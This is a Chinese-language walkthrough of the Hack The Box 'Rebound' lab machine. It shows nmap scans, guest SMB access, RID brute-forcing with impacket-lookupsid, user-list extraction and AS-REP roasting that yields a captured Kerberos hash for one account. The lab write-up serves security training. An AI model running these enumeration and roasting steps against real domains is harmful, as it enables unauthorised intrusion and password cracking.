HTB Rebound
初步探测
端口扫描
sudo nmap -sT --min-rate 10000 -p- 10.129.232.31 -oA nmapscan/ports
结果
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49673/tcp open unknown
49694/tcp open unknown
49695/tcp open unknown
49696/tcp open unknown
49709/tcp open unknown
49724/tcp open unknown
49745/tcp open unknown
49810/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 28.54 seconds
详细端口扫描
sudo nmap -sT -sV -sC -O -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49673,49694,49695,49696,49709,49724,49745,49810 10.129.232.31 -oA nmapscan/detail
结果
Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-27 23:30 -0400
Stats: 0:00:08 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 5.26% done; ETC: 23:32 (0:01:30 remaining)
Nmap scan report for 10.129.232.31
Host is up (0.64s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-28 10:30:24Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: rebound.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.rebound.htb, DNS:rebound.htb, DNS:rebound
| Not valid before: 2025-03-06T19:51:11
|_Not valid after: 2122-04-08T14:05:49
|_ssl-date: 2026-07-28T10:33:30+00:00; +6h59m40s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldapssl?
|_ssl-date: 2026-07-28T10:33:27+00:00; +6h59m40s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.rebound.htb, DNS:rebound.htb, DNS:rebound
| Not valid before: 2025-03-06T19:51:11
|_Not valid after: 2122-04-08T14:05:49
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: rebound.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.rebound.htb, DNS:rebound.htb, DNS:rebound
| Not valid before: 2025-03-06T19:51:11
|_Not valid after: 2122-04-08T14:05:49
|_ssl-date: 2026-07-28T10:33:28+00:00; +6h59m40s from scanner time.
3269/tcp open globalcatLDAPssl?
|_ssl-date: 2026-07-28T10:33:27+00:00; +6h59m40s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.rebound.htb, DNS:rebound.htb, DNS:rebound
| Not valid before: 2025-03-06T19:51:11
|_Not valid after: 2122-04-08T14:05:49
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49673/tcp open unknown
49694/tcp closed unknown
49695/tcp closed unknown
49696/tcp closed unknown
49709/tcp closed unknown
49724/tcp closed unknown
49745/tcp closed unknown
49810/tcp closed unknown
Aggressive OS guesses: Microsoft Windows Server 2016 (96%), Microsoft Windows Server 2019 (96%), Microsoft Windows 10 (93%), Microsoft Windows 10 1709 - 21H2 (93%), Microsoft Windows 10 21H1 (93%), Microsoft Windows Server 2022 (93%), Microsoft Windows Server 2012 (92%), Windows Server 2019 (92%), Microsoft Windows Vista SP1 (92%), Microsoft Windows Longhorn (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 6h59m39s, deviation: 0s, median: 6h59m39s
|_smb2-time: Protocol negotiation failed (SMB2)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 202.01 seconds
这里有一个以前没有的问题：clock-skew
在红队视角中，时间偏差问题常常成为域内渗透或横向移动的隐形障碍，尤其当红队成员利用 Kerberos 票据、NTLM 身份验证等依赖时间戳的协议时，一旦渗透环境与自身攻击主机或仿冒系统的时钟不同步，就会导致凭据验证失败或引发异常日志。Windows 默认对 Kerberos 请求有一个微小的时间偏差容忍范围，通常在五分钟左右，如果超过这个范围，那么域控制器会直接拒绝票据。红队在准备阶段或执行 Golden Ticket、Pass-the-Ticket 之类的操作时，往往需要充分关注域控制器和自身时钟的同步性，确保伪造或重放的票据符合目标环境的时间要求。若忽略这一细节，很可能会被检测到异常行为或直接导致渗透失败，因此在执行所有基于 Kerberos 的攻击时保持时间正确，是红队行动中不可或缺的关键环节。
执行以下命令
sudo ntpdate 10.129.232.31
再次扫描
sudo nmap -sT -sV -sC -O -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49673,49694,49695,49696,49709,49724,49745,49810 10.129.232.31 -oA nmapscan/detail
Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-29 23:21 -0400
Nmap scan report for 10.129.232.31
Host is up (0.20s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-30 10:20:58Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: rebound.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-07-30T10:22:17+00:00; +6h59m39s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.rebound.htb, DNS:rebound.htb, DNS:rebound
| Not valid before: 2025-03-06T19:51:11
|_Not valid after: 2122-04-08T14:05:49
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: rebound.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.rebound.htb, DNS:rebound.htb, DNS:rebound
| Not valid before: 2025-03-06T19:51:11
|_Not valid after: 2122-04-08T14:05:49
|_ssl-date: 2026-07-30T10:22:16+00:00; +6h59m39s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: rebound.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.rebound.htb, DNS:rebound.htb, DNS:rebound
| Not valid before: 2025-03-06T19:51:11
|_Not valid after: 2122-04-08T14:05:49
|_ssl-date: 2026-07-30T10:22:16+00:00; +6h59m38s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: rebound.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-07-30T10:22:15+00:00; +6h59m39s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.rebound.htb, DNS:rebound.htb, DNS:rebound
| Not valid before: 2025-03-06T19:51:11
|_Not valid after: 2122-04-08T14:05:49
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49694/tcp closed unknown
49695/tcp closed unknown
49696/tcp closed unknown
49709/tcp closed unknown
49724/tcp closed unknown
49745/tcp closed unknown
49810/tcp closed unknown
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.98%E=4%D=7/29%OT=53%CT=49694%CU=35999%PV=Y%DS=2%DC=I%G=Y%TM=6A6
OS:AC381%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10C%TI=I%CI=I%II=I%TS=U
OS:)SEQ(SP=104%GCD=1%ISR=10A%TI=I%CI=I%II=I%SS=O%TS=U)SEQ(SP=107%GCD=1%ISR=
OS:109%TI=I%CI=I%II=I%SS=O%TS=U)SEQ(SP=109%GCD=1%ISR=10C%TI=I%CI=I%II=I%SS=
OS:O%TS=U)SEQ(SP=FD%GCD=1%ISR=100%TI=I%CI=I%II=I%TS=U)OPS(O1=M542NW8NNS%O2=
OS:M542NW8NNS%O3=M542NW8%O4=M542NW8NNS%O5=M542NW8NNS%O6=M542NNS)WIN(W1=FFFF
OS:%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)ECN(R=Y%DF=Y%T=80%W=FFFF%O=M542
OS:NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W
OS:=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)
OS:T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S
OS:+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=
OS:Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G
OS:%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)
Network Distance: 2 hops
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 6h59m38s, deviation: 0s, median: 6h59m38s
| smb2-time:
| date: 2026-07-30T10:22:06
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 92.35 seconds
暴露域名的 dc 01. Rebound. Htb 、rebound. Htb 、rebound 信息
UDP 端口扫描
sudo nmap -sU --top-ports 20 10.129.232.31 -oA nmapscan/UDP
结果
Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-27 22:40 -0400
Warning: 10.129.232.31 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.232.31
Host is up (0.38s latency).
Not shown: 57655 closed tcp ports (conn-refused), 7856 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49673/tcp open unknown
49690/tcp open unknown
49691/tcp open unknown
49692/tcp open unknown
49710/tcp open unknown
49729/tcp open unknown
49750/tcp open unknown
这次 UDP 端口出乎意料的都是 open 状态。
但是我们重新扫描了一次
Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-27 22:42 -0400
Nmap scan report for 10.129.232.31
Host is up (0.44s latency).
PORT STATE SERVICE
53/udp open domain
67/udp closed dhcps
68/udp closed dhcpc
69/udp closed tftp
123/udp open ntp
135/udp closed msrpc
137/udp open|filtered netbios-ns
138/udp open|filtered netbios-dgm
139/udp closed netbios-ssn
161/udp closed snmp
162/udp closed snmptrap
445/udp closed microsoft-ds
500/udp open|filtered isakmp
514/udp closed syslog
520/udp open|filtered route
631/udp closed ipp
1434/udp closed ms-sql-m
1900/udp closed upnp
4500/udp open|filtered nat-t-ike
49152/udp closed unknown
Nmap done: 1 IP address (1 host up) scanned in 24.63 seconds
结果不同。
因为 udp 协议不同于 tcp 协议，没有三次握手环节，所以不同很正常。
当 Nmap
向目标主机发送 UDP 探测包时，如果目标端口没有及时或正确地回应，或是由于网络丢包、防火墙过滤、超时设置、路由抖动等因素，Nmap 可能会将真实开放的端口标记为 closed 或 open|filtered ，从而在多次扫描间产生明显差异。尤其在域控制器等多服务运行的主机上，UDP 端口的开放情况还可能由系统策略或临时网络状况决定，因此一次扫描中显示为 open 的端口在下一次就可能变成 filtered 。所以，UDP 扫描结果一般只能提供一个参考性结论，并不完全可靠。若要确认某个端口是否真正处于可用状态，通常需要借助相应的服务客户端或协议工具进一步交互验证，例如通过 DNS 查询来确认 53/udp ，或通过NTP 客户端来测试 123/udp 的有效性，从而在实际渗透测试中得到更确凿的结果。
UDP 端口小知识
53/udp 是 DNS 服务器端口。域控制器通常兼任域内的 DNS 服务器，以便解析 Active Directory 所需的
服务记录（SRV），同时为其他主机提供内网 DNS 解析。因此，扫描时看到 53/udp 端口开放或处于
open 状态相当常见。在渗透场景中，若 DNS 服务器配置不当，可以尝试进行 DNS 区域传送（Zone
Transfer）以获取更多内部域名、子域和主机记录，从而进一步扩大对目标环境的了解。
67/udp 与 68/udp 是 DHCP 端口。域环境中，域控制器也可能被配置为 DHCP 服务器，用于向域内主
机分配 IP 地址、DNS、网关等网络信息。对于渗透测试而言，一般不会直接通过 DHCP 进行攻击，但
从 DHCP 响应中可获取网络拓扑信息（如网段分配、租期等），为后续的横向移动提供一定帮助。
123/udp 是 NTP 端口。Windows 域高度依赖时间同步，Kerberos 认证通常要求主机与域控的时间差不
超过五分钟，因此域控常会提供 NTP 服务给域内其他计算机校时。在渗透过程中，若 NTP 配置不当，
可通过 NTP Query 获取其他客户端信息或保证攻击机与域控时间同步，为 Kerberos 攻击（如
Kerberoasting）提供便利。即然udp协议不可靠，为什么时间同步要求极高却不用tcp协议，而ntp却用
udp协议？虽然 UDP 不是可靠传输协议，但对 NTP 而言，“快速、简单、低消耗”比“绝对可靠”更重要。
NTP 的报文极其短小、丢失几次并不影响整体同步，它会周期性发送请求来校准时间，从而在足够的统
计样本中实现高精度。此外，UDP 的无连接特性也避免了 TCP 带来的连接维护和重传机制，减少了通
信的抖动和开销。这些都是 NTP 使用 UDP 而非 TCP 的原因。
135/udp、137/udp、138/udp、139/udp、445/udp 这些端口与 Windows 的文件共享、名称解析和远
程过程调用密切相关。135/udp 用于 RPC 端口映射，137/138/139 则是早期的 NetBIOS 协议端口，
445/udp（虽更常用的是 TCP/445）与 SMB 或动态 RPC 通信有关。渗透中可以利用 NetBIOS Name
Service (UDP 137) 获取主机名、域名等信息，或在获得凭证后尝试通过 RPC 进行远程管理。
500/udp 与 4500/udp 主要用于 IPSec 相关服务，包括 IKE（Internet Key Exchange）和 NAT-T（NAT
Traversal）。在企业环境中，域控或网关可能会承担 IPSec VPN 终端的角色，为远程办公室或分支站
点提供安全隧道。如果预共享密钥或认证配置较弱，攻击者可能尝试暴力破解 VPN 凭证，进而直接进
入内网，对域控实施更深度攻击。
1900/udp 是 UPnP（通用即插即用）端口。虽然在企业域环境中并不算常见，但有些 Windows 服务器
可能默认启用 UPnP 服务，用于自动发现并管理局域网中的网络设备。若配置宽松，UPnP 有时能被利
用进行额外的信息探测或端口映射，需视具体配置而定。
520/udp 通常对应 RIP（Routing Information Protocol），多数域控并不会启用该端口用于路由协议交换。如果在扫描中看到 520/udp open 状态，可能是误报或防火墙策略导致，也有极少数情况下是域控兼任网络路由功能。若确实启用 RIP 并且配置不当，攻击者可能获知网络路由信息甚至进行路由表篡
改，但此类场景在实际域环境中并不常见。
高位 UDP 端口 往往是动态 RPC 或其他系统服务所使用，Nmap 会将它们标记为 open|filtered，因为它们可能由防火墙进行部分拦截或策略过滤。对于渗透人员而言，一旦获取合适的凭证或发现远程执行漏
洞，这些端口依旧可能成为进一步调用 RPC 或触发系统服务的入口。
漏洞脚本扫描
sudo nmap --script=vuln 10.129.232.31 -
p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49673,49694,49695,49696,49709,49724,49745,49810 -oA nmapscan/vuln
结果
Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-29 23:24 -0400
Nmap scan report for 10.129.232.31
Host is up (0.27s latency).
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49673/tcp open unknown
49694/tcp closed unknown
49695/tcp closed unknown
49696/tcp closed unknown
49709/tcp closed unknown
49724/tcp closed unknown
49745/tcp closed unknown
49810/tcp closed unknown
Host script results:
|_samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
|_smb-vuln-ms10-054: false
Nmap done: 1 IP address (1 host up) scanned in 141.95 seconds
没什么意义
尝试 smb 匿名访问
sudo nxc smb rebound.htb -u 'redteamnotes' -p '' --shares
结果
SMB 10.129.232.31 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.232.31 445 DC01 [+] rebound.htb\redteamnotes: (Guest)
SMB 10.129.232.31 445 DC01 [*] Enumerated shares
SMB 10.129.232.31 445 DC01 Share Permissions Remark
SMB 10.129.232.31 445 DC01 ----- ----------- ------
SMB 10.129.232.31 445 DC01 ADMIN$ Remote Admin
SMB 10.129.232.31 445 DC01 C$ Default share
SMB 10.129.232.31 445 DC01 IPC$ READ Remote IPC
SMB 10.129.232.31 445 DC01 NETLOGON Logon server share
SMB 10.129.232.31 445 DC01 Shared READ
SMB 10.129.232.31 445 DC01 SYSVOL Logon server share
注意这和空用户名和密码还是有区别的，比如
sudo nxc smb rebound.htb --shares
结果
SMB 10.129.232.31 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.232.31 445 DC01 [-] Error enumerating shares: STATUS_USER_SESSION_DELETED
在红队视角下，如果你明确使用 -u 'redteamnotes' -p '' 去连接域主机，服务器通常会将这个用户名+空密码直接当成来宾（Guest）登录来处理；而当你不带任何登录信息去连接时，SMB 会尝试走匿名会话或本地缓存的凭据，但如果匿名访问策略设置得并不允许或出现会话异常，就会在查询共享列表时抛出STATUS_USER_SESSION_DELETED 或 IndexError: list index out of range 一类的错误。换句话说，虽然 redteamnotes 这个账户在域里并不存在，但服务器收到用户名后就有可能把它映射到来宾会话，从而允许读取部分共享；而没有任何用户信息时，SMB 则尝试建立一个匿名会话，结果要么直接被拒绝，要么因为策略设置或会话状态的原因导致出错。
扫描结果中存在
[+] rebound.htb\redteamnotes: (Guest)
证明Guest 账户已启用且可认证，并且
Shared READ
说明 Shared 共享对 Guest 开放
综上Shared 的结果不是常规的，有必要看一下：
sudo impacket-smbclient rebound.htb/redteamnotes@10.129.232.31 -no-pass
结果
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Type help for list of commands
# help
open {host,port=445} - opens a SMB connection against the target host/port
reconnect - reconnect connection, useful for broken pipes & interrupted sessions
login {domain/username,passwd} - logs into the current SMB connection, no parameters for NULL connection. If no password specified, it'll be prompted
kerberos_login {domain/username,passwd} - logs into the current SMB connection using Kerberos. If no password specified, it'll be prompted. Use the DNS resolvable domain name
login_hash {domain/username,lmhash:nthash} - logs into the current SMB connection using the password hashes
logoff - logs off
shares - list available shares
use {sharename} - connect to an specific share
cd {path} - changes the current directory to {path}
lcd {path} - changes the current local directory to {path}
pwd - shows current remote directory
password - changes the user password, the new password will be prompted for input
ls {wildcard} - lists all the files in the current directory
lls {dirname} - lists all the files on the local filesystem.
tree {filepath} - recursively lists all files in folder and sub folders
rm {file} - removes the selected file
mkdir {dirname} - creates the directory under the current path
rmdir {dirname} - removes the directory under the current path
put {filename} - uploads the filename into the current path
get {filename} - downloads the filename from the current path
mget {mask} - downloads all files from the current directory matching the provided mask
cat {filename} - reads the filename from the current path
mount {target,path} - creates a mount point from {path} to {target} (admin required)
umount {path} - removes the mount point at {path} without deleting the directory (admin required)
list_snapshots {path} - lists the vss snapshots for the specified path
info - returns NetrServerInfo main results
who - returns the sessions currently connected at the target host (admin required)
close - closes the current SMB Session
exit - terminates the server process (and this session)
# use Shared
# ls
drw-rw-rw- 0 Fri Aug 25 17:46:36 2023 .
drw-rw-rw- 0 Fri Aug 25 17:46:36 2023 ..
的确是 READ 权限，但没有内容。然而，如果共享目录中确实存在内容，而仅通过匿名扫描，就很可能错失这些信息。
RID 枚举
Nmap 详细信息扫描中的默认脚本扫描 ( -sC ) 结果显示 Message signing enabled and required ，并且Nxc smb 枚举结果中的 signing: True 表明 SMB 协议启用了签名，这限制了许多基于 SMB 的中间人攻击。然而， nxc smb 枚举显示 IPC$ 具有 READ 权限，推测这可能允许 SID 枚举。
使用 impacket-lookupsid 实现这个操作
sudo impacket-lookupsid redteamnotes@rebound.htb -no-pass
结果
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Brute forcing SIDs at rebound.htb
[*] StringBinding ncacn_np:rebound.htb[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4078382237-1492182817-2568127209
498: rebound\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: rebound\Administrator (SidTypeUser)
501: rebound\Guest (SidTypeUser)
502: rebound\krbtgt (SidTypeUser)
512: rebound\Domain Admins (SidTypeGroup)
513: rebound\Domain Users (SidTypeGroup)
514: rebound\Domain Guests (SidTypeGroup)
515: rebound\Domain Computers (SidTypeGroup)
516: rebound\Domain Controllers (SidTypeGroup)
517: rebound\Cert Publishers (SidTypeAlias)
518: rebound\Schema Admins (SidTypeGroup)
519: rebound\Enterprise Admins (SidTypeGroup)
520: rebound\Group Policy Creator Owners (SidTypeGroup)
521: rebound\Read-only Domain Controllers (SidTypeGroup)
522: rebound\Cloneable Domain Controllers (SidTypeGroup)
525: rebound\Protected Users (SidTypeGroup)
526: rebound\Key Admins (SidTypeGroup)
527: rebound\Enterprise Key Admins (SidTypeGroup)
553: rebound\RAS and IAS Servers (SidTypeAlias)
571: rebound\Allowed RODC Password Replication Group (SidTypeAlias)
572: rebound\Denied RODC Password Replication Group (SidTypeAlias)
1000: rebound\DC01$ (SidTypeUser)
1101: rebound\DnsAdmins (SidTypeAlias)
1102: rebound\DnsUpdateProxy (SidTypeGroup)
1951: rebound\ppaul (SidTypeUser)
2952: rebound\llune (SidTypeUser)
3382: rebound\fflock (SidTypeUser)
根据帮助，默认枚举的 Rid 是 4000（maxRid）：
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
usage: lookupsid.py [-h] [-debug] [-ts] [-target-ip ip address] [-port [destination port]] [-domain-sids] [-hashes LMHASH:NTHASH] [-no-pass] [-k] target [maxRid]
positional arguments:
target [[domain/]username[:password]@]<targetName or address>
maxRid max Rid to check (default 4000)
options:
-h, --help show this help message and exit
-debug Turn DEBUG output ON
-ts Adds timestamp to every logging output
connection:
-target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it
-port [destination port]
Destination port to connect to SMB Server
-domain-sids Enumerate Domain SIDs (will likely forward requests to the DC)
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass don't ask for password (useful when proxying through smbrelayx)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones
specified in the command line
当前已经枚举出来的是 3382，怀疑有可能还有更大的 Rid 存在，那现在指定为 40000 ，再行尝试枚举：
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Brute forcing SIDs at rebound.htb
[*] StringBinding ncacn_np:rebound.htb[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4078382237-1492182817-2568127209
498: rebound\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: rebound\Administrator (SidTypeUser)
501: rebound\Guest (SidTypeUser)
502: rebound\krbtgt (SidTypeUser)
512: rebound\Domain Admins (SidTypeGroup)
513: rebound\Domain Users (SidTypeGroup)
514: rebound\Domain Guests (SidTypeGroup)
515: rebound\Domain Computers (SidTypeGroup)
516: rebound\Domain Controllers (SidTypeGroup)
517: rebound\Cert Publishers (SidTypeAlias)
518: rebound\Schema Admins (SidTypeGroup)
519: rebound\Enterprise Admins (SidTypeGroup)
520: rebound\Group Policy Creator Owners (SidTypeGroup)
521: rebound\Read-only Domain Controllers (SidTypeGroup)
522: rebound\Cloneable Domain Controllers (SidTypeGroup)
525: rebound\Protected Users (SidTypeGroup)
526: rebound\Key Admins (SidTypeGroup)
527: rebound\Enterprise Key Admins (SidTypeGroup)
553: rebound\RAS and IAS Servers (SidTypeAlias)
571: rebound\Allowed RODC Password Replication Group (SidTypeAlias)
572: rebound\Denied RODC Password Replication Group (SidTypeAlias)
1000: rebound\DC01$ (SidTypeUser)
1101: rebound\DnsAdmins (SidTypeAlias)
1102: rebound\DnsUpdateProxy (SidTypeGroup)
1951: rebound\ppaul (SidTypeUser)
2952: rebound\llune (SidTypeUser)
3382: rebound\fflock (SidTypeUser)
5277: rebound\jjones (SidTypeUser)
5569: rebound\mmalone (SidTypeUser)
5680: rebound\nnoon (SidTypeUser)
7681: rebound\ldap_monitor (SidTypeUser)
7682: rebound\oorend (SidTypeUser)
7683: rebound\ServiceMgmt (SidTypeGroup)
7684: rebound\winrm_svc (SidTypeUser)
7685: rebound\batch_runner (SidTypeUser)
7686: rebound\tbrady (SidTypeUser)
7687: rebound\delegator$ (SidTypeUser)
全部有 sid 的结果保存为 sids 文件中，然后提取用户信息：
cat sids | grep SidTypeUser | grep -v -e '\$' | awk -F'\' '{print $2}' | awk -F'(' '{print $1}' | tee users
Administrator
Guest
krbtgt
ppaul
llune
fflock
jjones
mmalone
nnoon
ldap_monitor
oorend
winrm_svc
batch_runner
tbrady
排除了以 $ 结尾的三类账号，即机器账号、动态委派账号或服务账号。
AS-REP Roasting
sudo impacket-GetNPUsers -usersfile users -request -format hashcat -dc-ip
dc01.rebound.htb rebound.htb/
结果
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Guest doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User ppaul doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User llune doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User fflock doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$jjones@REBOUND.HTB:3239d3641178289675de507b48563875$d38399072398ef01f99a4589ba511ba0e31aa99a442c0cd20053ba522e396068f375398248f8fe5d8eb27b249f41cc166c06194e886f353d0f6f6273eb5e4df91b0d30285a231dff1fe3ba4956b735015130ec72cca6f9cfd77c08b93713f3efaa94c77dc968f4d9910f0c33e9f677a3eb12ed00b8527ddb86c43f4fd11e65f37ff5597fbe08b3d687d4910251d72df2b53363be7122aea605e6b73c27a2a5f6ea558b29b989260896dd07c8afb659d399c7985a03e56b3089fe610b77faf95c354d1d3034b1fe70b68758ef32b6f473315d6623e121c1915a5f60aa50ccf1a3cf9d829a19842aba22fe
[-] User mmalone doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User nnoon doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User ldap_monitor doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User oorend doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User winrm_svc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User batch_runner doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User tbrady doesn't have UF_DONT_REQUIRE_PREAUTH set
或用 nxc 实现这个操作：
sudo impacket-GetNPUsers -dc-ip 10.129.232.31 rebound.htb/ -usersfile users.txt -request -format hashcat -outputfile asreproast.txt -no-pass
结果
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Guest doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User ppaul doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User llune doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User fflock doesn't have UF_DONT_REQUIRE_PREAUTH set
